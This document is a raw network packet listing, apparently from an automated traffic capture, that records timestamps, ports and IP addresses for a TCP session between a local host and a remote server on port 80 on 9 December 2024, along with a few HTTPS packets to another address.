Dec 9, 2024 20:27:31.718743086 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.718775988 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.718800068 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.718820095 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.719729900 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.719821930 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.719886065 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.720731974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.720833063 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.720839024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.720899105 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.721709967 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.721899033 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.721975088 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.721975088 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.722783089 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.722851992 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.722906113 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.722946882 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.723937035 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.724066019 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.724863052 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.724920988 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.725009918 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.725742102 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.725816965 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.725924015 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.725955009 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.726130009 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.726813078 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.726912022 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.726973057 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.727798939 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.727886915 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.728693008 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.728749990 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.728818893 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.729682922 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.729731083 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.729757071 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.730663061 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.730690002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.730809927 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.730823040 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.730864048 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.731678963 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.731803894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.731834888 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.731867075 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.732669115 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.732712030 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.732764006 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.733658075 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.733707905 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.733716011 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.733752012 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.734743118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.734819889 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.735234022 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.873868942 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.873883009 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.873991966 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.873991966 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.874037027 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.874109030 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.874150038 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.875010967 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.875108004 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.875138998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.875189066 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.875974894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.876008034 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.876035929 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.876070976 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.876636982 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.876718044 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.876780033 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.877676010 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.877752066 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.877895117 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.877942085 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.878650904 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.878720045 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.878756046 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.878962040 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.879653931 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.879718065 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.879784107 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.879823923 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.880640984 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.880714893 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.880757093 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.880795956 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.881628990 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.881778955 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.881812096 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.881875992 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.882626057 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.882672071 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.882688046 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.882709980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.883654118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.883707047 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.883749962 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.883914948 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.884614944 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.884722948 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.884728909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.884768963 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.885700941 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.885740995 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.885793924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.886645079 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.886703014 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.886795044 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.886837006 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.887603998 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.887723923 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.887772083 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.888662100 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.888742924 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.888801098 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.888850927 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.889622927 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.889679909 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.889729977 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.889772892 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.890636921 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.890707016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.890878916 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.891048908 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.891645908 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.891799927 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.891872883 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.892616987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.892676115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.892690897 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.892766953 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.893630981 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.893702984 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.893713951 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.893785954 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.894682884 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.894738913 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.894769907 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.894969940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.895616055 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.895783901 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.895838976 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.896668911 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.896742105 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.896752119 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.896785021 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.897716999 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.897780895 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.897798061 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.897851944 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.898587942 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.898642063 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.898680925 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.898894072 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.899662018 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.899710894 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.899768114 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.899811029 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.900630951 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.900686026 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.900779963 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.900824070 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.901758909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.901789904 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.901813030 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.901850939 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.902616024 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.902703047 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.902703047 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.902776003 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.903661966 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.903716087 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.903860092 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.903903961 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.904566050 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.904616117 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.904746056 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.904854059 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.905584097 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.905637980 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.905653954 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.905767918 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.906656027 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.906733036 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.906781912 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.906826973 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.907623053 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.907679081 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.907700062 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.907768011 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.908595085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.908649921 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.908669949 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.908895016 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.909574032 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.909621954 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.909686089 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.909761906 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.910619974 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.910657883 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.910687923 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.910736084 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.911652088 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.911710978 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.911731005 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.911829948 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.912600040 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.912653923 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.912686110 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.912892103 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.913635969 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.913702011 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.913712978 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.913743973 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.914582968 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.914642096 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.914664030 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.914720058 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.915585041 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.915647030 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.915762901 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.915812969 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.916583061 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.916647911 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.916906118 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.916953087 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.917639017 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.917691946 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.917721033 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.917862892 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.919043064 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.919099092 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.919186115 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.919224977 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.919677019 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.919770002 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.919823885 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.920588970 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.920603991 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.920638084 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.920676947 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.921681881 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.921694994 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.921766996 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.922575951 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.922626019 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.922672987 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.922745943 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.923557997 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.923602104 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.923656940 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.924559116 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.924676895 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.924833059 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.925549984 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.925620079 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.925626040 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:31.925688982 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:31.949068069 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:31.949126005 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:31.949264050 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:31.949568987 CET	49758	443	192.168.2.4	172.217.17.78
Dec 9, 2024 20:27:31.949584961 CET	443	49758	172.217.17.78	192.168.2.4
Dec 9, 2024 20:27:32.066168070 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.066272020 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.066318035 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.066365004 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.066459894 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.066513062 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.066603899 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.066723108 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.067563057 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.067701101 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.067749977 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.068464041 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.068523884 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.068747044 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.068799973 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.068972111 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.069024086 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.069782019 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.069854975 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.069885015 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.069930077 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.070785046 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.070871115 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.070987940 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.071033955 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.071806908 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.071871042 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.071937084 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.071984053 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.072798967 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.072849035 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.072901964 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.072943926 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.073807001 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.073857069 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.073904991 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.073947906 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.074767113 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.074817896 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.074827909 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.075069904 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.075799942 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.075860977 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.076026917 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.076091051 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.076773882 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.076842070 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.076894045 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.076973915 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.077817917 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.077874899 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.077883959 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.077924967 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.078788996 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.078883886 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.078915119 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.078959942 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.079780102 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.079833984 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.079873085 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.079915047 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.080822945 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.080876112 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.080884933 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.080929041 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.081758976 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.081818104 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.081852913 CET	80	49740	185.215.113.206	192.168.2.4
Dec 9, 2024 20:27:32.081901073 CET	49740	80	192.168.2.4	185.215.113.206
Dec 9, 2024 20:27:32.082745075 CET	80	49740	185.215.113.206	192.168.2.4
